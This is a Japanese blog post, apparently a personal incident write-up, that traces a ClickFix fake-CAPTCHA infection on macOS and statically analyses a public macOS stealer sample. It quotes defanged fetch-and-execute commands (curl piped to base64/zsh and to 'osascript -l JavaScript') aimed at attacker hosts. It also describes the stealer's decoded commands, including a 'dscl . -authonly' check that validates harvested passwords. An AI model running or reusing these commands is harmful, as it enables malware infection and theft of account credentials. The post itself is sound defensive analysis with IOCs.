ClickFix を踏んでしまいました。
Webページ上の偽CAPTCHAからTerminalを開かされ、表示されたコマンドを貼り付けて実行するタイプのものです。
気付いた時点ではすでに、macOS上で Finderを装った不審なアプリケーション がバックグラウンド実行されていました。
ということで、せっかくなので削除して終わりにするのではなく、
「実際に自分のMac上で何が起きていたのか」
をできる限り追ってみることにしました。
シェル履歴、macOS Unified Log、TCC、Mach-O、コード署名などを調査し、その後は比較のために公開されているmacOS Stealerサンプルも静的解析しています。
先に重要な点を書いておくと、実際に自分のMacで動いていたマルウェア本体は途中で削除してしまいました。
そのため、
- 実際の感染端末から確認できた事実
- 後から解析した公開サンプルで確認できた挙動
は、この記事では明確に分けて扱います。
公開サンプルと実感染バイナリが同一であることは確認できていません。
TL;DR
今回確認できた感染チェーンは、おおよそ次のようなものでした。
cloudflareの偽CAPTCHA(ClickFix)
↓
Terminalへコマンドを貼り付け
↓
curl
↓
JXA (osascript -l JavaScript)
↓
偽 Finder.app
↓
Universal Mach-O
↓
バックグラウンド実行
↓
macOSの保護データへのアクセス要求
さらに比較用の公開macOS Stealerサンプルを静的解析すると、
killall Terminal
system_profiler
$HOME/.hlpr/.pass
getuid / getpwuid
dscl . -authonly
User Password.txt
といった処理が確認できました。
特に興味深かったのは、
パスワード候補を取得
↓
現在のmacOSユーザー名を取得
↓
dscl . -authonly
↓
macOS自身にパスワードが正しいか検証させる
↓
認証成功した値を保存
という処理です。
1. 始まりはClickFixだった
シェル履歴を確認すると、不審なコマンドが残っていました。
一部を伏せています。
_9d5a=731a42e4e294;eval "$(printf '%s' 'BASE64...'|base64 -d)"
Base64をデコードすると、最初の処理は次のようなものでした。
_xr=$(curl -s 'hxxp://browseid[.]codes/p/...')
if [ "$_xr" = "ok" ]; then
echo 'BASE64...' | base64 -d | zsh
fi
さらに次のBase64をデコードすると、
curl -sf hxxps://update-notif[.]com/... | osascript -l JavaScript
となりました。
つまり、
Terminal
↓
外部サーバへHTTPアクセス
↓
レスポンスが "ok"
↓
次のコマンドを実行
↓
JavaScriptを取得
↓
osascript -l JavaScript
という多段構造です。
osascript はAppleScriptだけでなく、JavaScript for Automation、いわゆる JXA も実行できます。
ClickFixによって最初のshellを実行させ、その後の処理をJXAへ引き渡していました。
JXA(JavaScript for Automation)は、macOS上でJavaScriptからApple Eventsや各種アプリケーションを操作するための仕組みです。
たとえばFinderの操作、ファイル処理、アプリケーションの起動、シェルコマンドの実行などを自動化できます。
攻撃者側から見ると、JXAを使うことで「単純なshellコマンド」だけではなく、macOS標準の自動化機能を利用して後続処理を実装できます。
つまり、ClickFixで最初のコマンド実行に成功したあと、JXAへ処理を渡すことで、より柔軟にファイル配置やアプリ起動、次のペイロード実行へつなげられます。
2. 偽のFinder.appが存在していた
分析すると、次のディレクトリに不審なアプリケーションが存在していました。
~/Library/Caches/com.apple.finder/Finder.app
名前は Finder.app ですが、もちろん本物のFinderではありません。
Info.plist を確認すると、
CFBundleDisplayName = Finder
CFBundleExecutable = 4F1FB2FB
CFBundleIdentifier = apple.finder.data
CFBundleName = Finder
LSBackgroundOnly = true
LSUIElement = true
となっていました。
特に、
LSBackgroundOnly = true
LSUIElement = true
が設定されているため、通常のGUIアプリとしてユーザーに見せるよりも、バックグラウンドで動作することを想定した構成です。
実際に、
Finder.app/Contents/MacOS/4F1FB2FB
がプロセスとして動作していることも確認できました。
配置場所が、
~/Library/Caches/com.apple.finder/
である点も不自然です。
Finder.app/
└── Contents/
├── Info.plist
├── MacOS/
│ └── 4F1FB2FB
└── Resources/
└── AppIcon.icns
3. 実行ファイルはUniversal Mach-Oだった
削除前に取得できた情報では、実行ファイルは、
Mach-O universal binary
x86_64
arm64
のUniversal Binaryでした。
つまり、Intel MacとApple Siliconの両方で動作できる構成です。
コード署名情報は、
Signature=adhoc
TeamIdentifier=not set
でした。
正規のApple Developer Team IDを持つ署名ではなく、ad-hoc署名です。
もちろん、
ad-hoc署名だからマルウェア
ということではありません。
ただ今回の場合、
Finderを偽装
Library/Caches配下
ランダム風の実行ファイル名
ad-hoc署名
TeamIdentifierなし
という条件が重なっています。
ファイルのSHA-256も取得できました。
1043c2f533e4502ade5acf1f300a812f3a24ff105af24f10e2342cc87b9bce8b
4. macOSの保護データへアクセスしようとしていた
Unified LogやTCC関連ログを確認すると、不審プロセスから次のイベントが確認できました。
SystemPolicyAllFiles denial
SystemPolicyAppData prompt
つまり、少なくとも macOSの保護対象データへのアクセスを試みていたことが分かります。
自分の場合は権限要求を許可しませんでした。
ただし、
権限要求を拒否した = 何も読まれなかった
とは限りません。
macOSのTCCですべてのユーザーファイルが保護されているわけではなく、通常のユーザー権限でアクセス可能なファイルも多数存在します。
たとえば開発環境では、
~/.aws/
~/.ssh/
.env
.npmrc
各種設定ファイル
などがホームディレクトリに存在することがあります。
もしマルウェアに感染してしまった場合は、関連する認証情報は念のためローテーションした方が良いです。
5. Security / Trust関連処理も大量に発生していた
実行中のログでは、
SecKeyCopyPublicBytes
SecKeychainAddCallback
Trust関連処理
など、Security.framework周辺の活動も確認できました。
ただし、ここは解釈に注意が必要です。
例えば、
SecKeyCopyPublicBytes
が出たからといって、
秘密鍵を盗んだ
という証拠にはなりません。
TLS通信時の証明書検証などでもSecurity.frameworkは利用されます。
今回のログから安全に言えるのは、
マルウェア実行中に、Security / Trust関連の処理が周期的かつ集中的に発生していた
ところまでです。
通信先や送信データまで直接特定することはできませんでした。
6. 最大の失敗:マルウェア本体を消してしまった
調査を始めた段階で、
4F1FB2FB
をすでに削除してしまっていました。利用できるAPFS Snapshotにも対象データはありませんでした。
そのため、
自分のMac上で実際に動いていた
4F1FB2FBの完全な静的解析
はできなくなりました。
これはインシデント対応としては一つの反省点です。
怪しいファイルを見つけても、可能であれば、
隔離
ハッシュ取得
メタデータ保存
安全な場所へコピー
を行ってから削除した方が、後から解析しやすくなります。
7. 公開サンプルを使って静的解析してみる
そこで、比較・学習目的として公開されているmacOS Stealerサンプルを別途入手し、実行せず静的解析だけを行うことにしました。
今回解析したサンプルのSHA-256は、
689797d97d31c3893e2c8a792614262f1fa9e714d646aef46bc4a6371fa59126
です。
こちらも、
x86_64
arm64
のUniversal Mach-Oでした。
CodeDirectoryを直接確認すると、
flags = CS_ADHOC
hashType = SHA-256
teamOffset = 0
となっていました。
Identifierには、
macos-stealer-v2-...
という文字列も存在しました。
ただし、CodeDirectoryのIdentifierは作者が自由に設定できるものなので、
この名前だから特定のマルウェアファミリーである
という証明には使えません。
8. stringsでは何も出てこない
最初に strings で、
Chrome
Safari
Cookies
Login Data
Keychain
Wallet
SSH
AWS
などを探してみました。
しかし、目立った文字列がほとんど見つかりません。
最初は、
あまり情報窃取処理がないのでは?
とも思いました。
しかし逆アセンブルを見て理由が分かりました。
重要な文字列がXORで難読化されていました。
strings は、バイナリ中にそのまま埋め込まれている可読文字列を探すだけなので、文字列が暗号化・難読化されていると見つけられません。
そこで次に、otool -tvV を使って Mach-O の命令列を逆アセンブルし、CPUが実際にどんな処理をするのかを追いました。
逆アセンブルとは、機械語を mov、call、xor などのアセンブリ命令として読み直す作業です。
その結果、コード中で定数データをXORした直後に system() や popen() へ渡している箇所が複数見つかりました。
つまり、重要なコマンド文字列は平文で保存されておらず、実行直前にXORで復号することで strings から隠されていたことが分かりました。
9. 隠されていた killall Terminal
_main 周辺を追うと、32byteのデータを2つ用意し、
vxorps
vpxor
でXORした直後、
callq _system
していました。
定数をlittle-endianで並べ、XORすると、
killall Terminal 2>/dev/null
になります。
つまり概念的には、
system("killall Terminal 2>/dev/null");
です。
ClickFixはTerminalを使わせる攻撃なので、非常に興味深い処理です。
ただし、
証拠隠滅のためにTerminalを終了させた
とまでは断定できません。
静的解析から確認できる事実は、
Terminalを終了させるコマンドをXORで隠し、
system()で実行する
というところまでです。
10. system_profiler でMacの情報を収集
次の難読化文字列を復号すると、
system_profiler \
SPSoftwareDataType \
SPHardwareDataType \
SPDisplaysDataType \
2>/dev/null
が現れました。
さらに、
popen(command, "r")
で呼び出されていました。
"r" なので、サブプロセスの標準出力を取得しています。
これにより、
macOSの情報
Macのモデル
CPU
メモリ
GPU / Display
などの端末情報を取得できます。
単なるAPI importではなく、実際にコマンドを組み立てて popen() しているところまで静的に確認できました。
11. $HOME/.hlpr という隠しディレクトリ
さらにコードを追うと、
getuid();
getpwuid();
が使われていました。
getpwuid() からホームディレクトリを取得し、
$HOME
を基準にファイル操作を行っています。
XOR文字列を復号すると、
.hlpr
というディレクトリ名が現れました。
コードは、
$HOME/.hlpr/
を作成しています。
さらに、
.hlpr/.pass
というパスも生成されていました。
そのファイルは、
ifstream
↓
getline()
によって読み込まれます。
12. 現在のユーザー名を取得
別の場所では、
getuid()
getpwuid()
を使い、現在実行しているユーザーの pw_name を取得していました。
概念的には、
struct passwd *pw = getpwuid(getuid());
username = pw->pw_name;
という処理です。
ここで得られたユーザー名と、先ほど .hlpr/.pass から読み込んだ文字列が次の処理で利用されます。
13. dscl -authonly でパスワードを検証
XORで隠された文字列を復号すると、
dscl . -authonly '<username>' '<candidate>' 2>/dev/null
というコマンドが構築されていました。
実行には、
popen(command, "r")
が使われています。
dscl . -authonly を使うと、macOSのDirectory Serviceへ、
このユーザー名とパスワードの組み合わせで認証できるか
を問い合わせることができます。
つまり、このサンプルは自分でパスワードを解析する必要がありません。
macOS自身にパスワードの正誤を判定させています。
コードではさらに、
pclose()
の戻り値を確認していました。
概念的には、
password candidate
↓
dscl -authonly
↓
成功?
です。
14. 認証に成功すると User Password.txt へ保存
ここが今回の静的解析で一番強い部分でした。
別のXOR文字列を復号すると、
User Password.txt
というファイル名が現れます。
そして先ほど dscl -authonly に渡したものと同じ候補値を、このファイルへ書き込む処理が存在します。
概念的には、
$HOME/.hlpr/.pass
↓
getline()
↓
candidate
↓
current username
↓
dscl . -authonly username candidate
↓
認証成功
↓
User Password.txt
↓
candidateを書き込む
です。
つまり公開サンプルでは、
パスワードらしき値を読む
だけではありません。
取得した候補が実際のmacOSアカウントのパスワードとして正しいか検証し、認証成功した値を収集用ファイルへ保存する
ところまで実装されています。
dscl -authonly を使って、その値が実際のログインパスワードとして有効かをmacOS自身に確認させています。
15. 実際のClickFix感染と公開サンプル解析を分けて整理する
ここまでを整理します。
自分の感染端末で直接確認できたことは、
ClickFix
↓
Terminal
↓
curl
↓
JXA
↓
偽Finder.app
↓
Universal Mach-O
↓
バックグラウンド実行
↓
macOS保護データへのアクセス要求
↓
Security / Trust関連イベント
です。
一方で、比較用に解析した公開Stealerサンプルで確認できたことは、
killall Terminal
↓
system_profilerによる端末情報取得
↓
$HOME/.hlpr
↓
.passから候補値取得
↓
現在ユーザー名取得
↓
dscl -authonly
↓
認証成功確認
↓
User Password.txtへ保存
です。
この2つは混同しないようにする必要があります。
公開サンプルで確認した処理が、そのまま自分のMac上で実行された 4F1FB2FB に存在したとは証明できていません。
16. 何が盗まれたのか?
ここについては、現時点では断定できません。
今回の解析では、
Chrome Cookieを実際に盗んだ
Safariの保存認証情報を盗んだ
Keychainから秘密情報を抜いた
SSH秘密鍵を取得した
AWS認証情報を取得した
C2へ実際に送信した
といったところまでは証明できませんでした。
実感染端末のログからは、保護データへのアクセス要求やTrust関連処理は確認できています。
一方で通信先や送信データそのものを確定する証拠は不足しています。
セキュリティ解析では、
ありそう
と、
確認できた
を分けることがかなり重要だと改めて感じました。
17. 一番興味深かったのは「正規機能」を使っていること
今回解析していて面白かったのは、派手なゼロデイExploitではありません。
使われているのは、
curl
osascript
system_profiler
dscl
getuid
getpwuid
といった、macOSに普通に存在している機能です。
ClickFix自体もそうです。
ブラウザの脆弱性を利用して勝手にコード実行するのではなく、
「この操作をしてください」
と表示して、ユーザー自身にTerminalで実行させます。
さらに、
パスワードが正しいか
という判定すら、
dscl . -authonly
を使ってOS自身に行わせています。
攻撃者からすると、すべての処理を自前で実装する必要がありません。
正規のOS機能を組み合わせるだけでも、十分に危険な処理が成立します。
18. 今回の反省点
今回一番大きかったのは、マルウェア本体を早い段階で削除してしまったことです。
もちろん感染が疑われる状況では、まず被害拡大を止めることが重要です。
ただ、解析まで行いたい場合は、
ネットワーク隔離
↓
プロセス停止
↓
ハッシュ取得
↓
署名・メタデータ取得
↓
安全な場所へサンプル保存
↓
削除
のように、証拠を残してから除去できると後の調査がかなり楽になります。
今回はログがかなり残っていたため一定範囲までは追えましたが、実バイナリが残っていればもっと明確にできたはずです。
まとめ
最初は、
CAPTCHAに従ってTerminalへコマンドを貼り付けてしまった
というだけでした。
しかし実際に追ってみると、
ClickFix
↓
shell
↓
curl
↓
JXA
↓
偽Finder
↓
Mach-O
という多段の感染チェーンになっていました。
さらに比較用の公開macOS Stealerを静的解析すると、
killall Terminal
system_profiler
$HOME/.hlpr/.pass
getuid / getpwuid
dscl . -authonly
User Password.txt
という具体的な処理まで確認できました。
特に、
候補パスワード
↓
macOS自身に認証させる
↓
正しかったものだけ保存
という実装は非常に興味深いものでした。
ClickFixは、
「Webサイトに書いてある操作をしただけ」
に見えるところが危険なのだと思います。
Webサイトから、
Terminalを開いてください
PowerShellを開いてください
このコマンドを貼り付けてください
Win+Rを押してください
などと指示された場合は、その時点でかなり警戒した方がよさそうです。
注記
本記事で後半に解析している公開macOS Stealerサンプルは、筆者の端末上で実際に確認された 4F1FB2FB と同一バイナリであることは確認できていません。
そのため、
実感染端末で観測した事実と、公開サンプルから得られた静的解析結果は分けて記載しています。
また、公開サンプルは実行しておらず、file、otool、nm、バイナリダンプ、PythonによるXOR復号などを利用した静的解析のみを行っています。
IOC
実感染時に確認したファイルのSHA-256:
1043c2f533e4502ade5acf1f300a812f3a24ff105af24f10e2342cc87b9bce8b
解析に使用した公開サンプル:
689797d97d31c3893e2c8a792614262f1fa9e714d646aef46bc4a6371fa59126
実感染時に確認した配置:
~/Library/Caches/com.apple.finder/Finder.app
公開サンプルから静的に確認した特徴:
.hlpr
.hlpr/.pass
User Password.txt
killall Terminal 2>/dev/null
system_profiler \
SPSoftwareDataType \
SPHardwareDataType \
SPDisplaysDataType
dscl . -authonly
お疲れ様でした。
わからないところ、間違っているところ、もっといい方法がある場合は、コメントでもDMでも教えてください。
